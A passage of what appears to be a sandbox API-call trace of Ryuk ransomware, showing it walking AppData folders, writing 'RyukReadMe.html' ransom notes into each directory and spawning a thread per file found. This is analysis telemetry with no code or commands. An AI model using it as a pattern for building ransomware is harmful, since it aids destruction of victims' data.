	[0259.812] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x870
	[0259.812] GetLastError () returned 0xb7
	[0259.812] CloseHandle (hObject=0x870) returned 1
	[0259.812] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x51f145b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x51f145b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ba, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef80
	[0259.813] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x51f145b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x51f145b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ba, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0259.813] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x51f145b0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x51f145b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x51f3a710, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1ba, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0259.813] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ba, dwReserved1=0x0, cFileName="YVORLGOR.PNT", cAlternateFileName="")) returned 1
	[0259.813] SetLastError (dwErrCode=0x0) 
	[0259.813] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\dqq19bcj.jax\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x854
	[0259.813] GetLastError () returned 0xb7
	[0259.813] CloseHandle (hObject=0x854) returned 1
	[0259.813] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f220
	[0259.816] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0259.816] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715", cAlternateFileName="CLICEX~1.000")) returned 1
	[0259.816] SetLastError (dwErrCode=0x0) 
	[0259.816] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858
	[0259.816] GetLastError () returned 0x0
	[0259.816] WriteFile (in: hFile=0x858, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10c188*=0x273, lpOverlapped=0x0) returned 1
	[0259.819] CloseHandle (hObject=0x858) returned 1
	[0259.819] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1ee, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="", cAlternateFileName="cation Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.杄眙")) returned 0xffffffffffffffff
	[0259.819] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0259.819] SetLastError (dwErrCode=0x0) 
	[0259.819] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.820] GetLastError () returned 0x3
	[0259.820] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0259.820] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0259.820] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec", cAlternateFileName="GOOGAP~1.000")) returned 1
	[0259.820] SetLastError (dwErrCode=0x0) 
	[0259.820] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858
	[0259.820] GetLastError () returned 0xb7
	[0259.820] CloseHandle (hObject=0x858) returned 1
	[0259.820] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1ee, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="", cAlternateFileName="cation Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.杄眙")) returned 0xffffffffffffffff
	[0259.821] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0259.821] SetLastError (dwErrCode=0x0) 
	[0259.821] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.821] GetLastError () returned 0x3
	[0259.821] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0259.821] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0259.821] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="manifests", cAlternateFileName="MANIFE~1")) returned 1
	[0259.821] SetLastError (dwErrCode=0x0) 
	[0259.821] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858
	[0259.821] GetLastError () returned 0xb7
	[0259.821] CloseHandle (hObject=0x858) returned 1
	[0259.822] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ee60
	[0260.042] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0260.042] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x42d0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.cdf-ms", cAlternateFileName="CLICEX~1.CDF")) returned 1
	[0260.042] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x354b, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.manifest", cAlternateFileName="CLICEX~1.MAN")) returned 1
	[0260.042] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x38b0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms", cAlternateFileName="GOOGAP~1.CDF")) returned 1
	[0260.042] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0260.044] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x850
	[0260.047] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.048] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2e30, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest", cAlternateFileName="GOOGAP~1.MAN")) returned 1
	[0260.048] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0260.049] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x758
	[0260.051] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.052] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2e30, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest", cAlternateFileName="GOOGAP~1.MAN")) returned 0
	[0260.052] FindClose (in: hFindFile=0x29ee60 | out: hFindFile=0x29ee60) returned 1
	[0260.054] SetLastError (dwErrCode=0x0) 
	[0260.054] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858
	[0260.057] GetLastError () returned 0x0
	[0260.057] WriteFile (in: hFile=0x858, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10c188*=0x273, lpOverlapped=0x0) returned 1
	[0260.060] CloseHandle (hObject=0x858) returned 1
	[0260.060] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="manifests", cAlternateFileName="MANIFE~1")) returned 0
	[0260.061] FindClose (in: hFindFile=0x29f220 | out: hFindFile=0x29f220) returned 1
	[0260.061] SetLastError (dwErrCode=0x0) 
	[0260.061] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x854
	[0260.061] GetLastError () returned 0xb7
	[0260.061] CloseHandle (hObject=0x854) returned 1
	[0260.062] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ba, dwReserved1=0x0, cFileName="YVORLGOR.PNT", cAlternateFileName="")) returned 0
	[0260.062] FindClose (in: hFindFile=0x29ef80 | out: hFindFile=0x29ef80) returned 1
	[0260.062] SetLastError (dwErrCode=0x0) 
	[0260.062] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\dqq19bcj.jax\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x870
	[0260.062] GetLastError () returned 0xb7
	[0260.062] CloseHandle (hObject=0x870) returned 1
	[0260.063] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4baa8590, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4baa8590, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4be86950, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1b2, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0260.063] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4baa8590, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4baa8590, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4be86950, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1b2, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0260.063] FindClose (in: hFindFile=0x29f160 | out: hFindFile=0x29f160) returned 1
	[0260.063] SetLastError (dwErrCode=0x0) 
	[0260.063] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4
	[0260.064] GetLastError () returned 0xb7
	[0260.064] CloseHandle (hObject=0x5c4) returned 1
	[0260.064] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4baa8590, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4baa8590, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4baa8590, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
